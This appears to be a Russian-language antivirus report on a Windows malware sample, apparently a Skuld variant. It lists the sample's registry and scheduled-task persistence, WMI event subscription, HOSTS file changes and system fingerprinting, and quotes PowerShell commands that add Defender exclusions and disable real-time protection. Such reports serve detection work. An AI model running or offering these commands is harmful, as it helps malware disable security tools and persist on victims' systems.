Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'naoEwooHwtrU9".,ufnxEruxxh' = '%APPDATA%\Microsoft\Protect\o`oiUxwzyoM|ybG0*2=qwbhv'
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует запуск следующих системных утилит:
- Системный антивирус (Защитник Windows)
добавляет исключения антивируса:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath <Полный путь к файлу>
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -Enabl...
Изменения в файловой системе
Создает следующие файлы
- nul
Присваивает атрибут 'скрытый' для следующих файлов
- <Полный путь к файлу>
Изменяет файл HOSTS.
Сетевая активность
UDP
- DNS ASK ap#.#pify.org
- DNS ASK ip##pi.com
Другое
Запускает на исполнение
- '<SYSTEM32>\attrib.exe' +h +s <Полный путь к файлу> (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /Create /SC ONLOGON /TN wqqgdEmnmrai^teg_*:85~ogvCshanrpM /TR %APPDATA%\Microsoft\Protect\o`oiUxwzyoM|ybG0*2=qwbhv /RL HIGHEST /F (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -EncodedCommand CgAkAEYAaQBsAHQAZQByACAAPQAgAFMAZQB0AC0AVwBtAGkASQBuAHMAdABhAG4AYwBlACAALQBOAGEAbQBlAHMAcABhAGMAZQAgACIAcgBvAG8AdABcAHMAdQBiAHMAYwByAGkAcAB0AGkAbwBuACIAIAAtA... (со скрытым окном)
- '<SYSTEM32>\wbem\wmic.exe' csproduct get UUID (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "gwmi __eventFilter -Namespace root\subscription | Remove-WmiObject; $Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{Name='SkuldFilter'; Query=... (со скрытым окном)
- '<SYSTEM32>\attrib.exe' -r <DRIVERS>\etc\hosts (со скрытым окном)
- '<SYSTEM32>\attrib.exe' +r <DRIVERS>\etc\hosts (со скрытым окном)
- '<SYSTEM32>\wbem\wmic.exe' os get Caption (со скрытым окном)
- '<SYSTEM32>\wbem\wmic.exe' cpu get Name (со скрытым окном)
- '<SYSTEM32>\wbem\wmic.exe' path win32_VideoController get name (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath <Полный путь к файлу> (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -Enabl... (со скрытым окном)
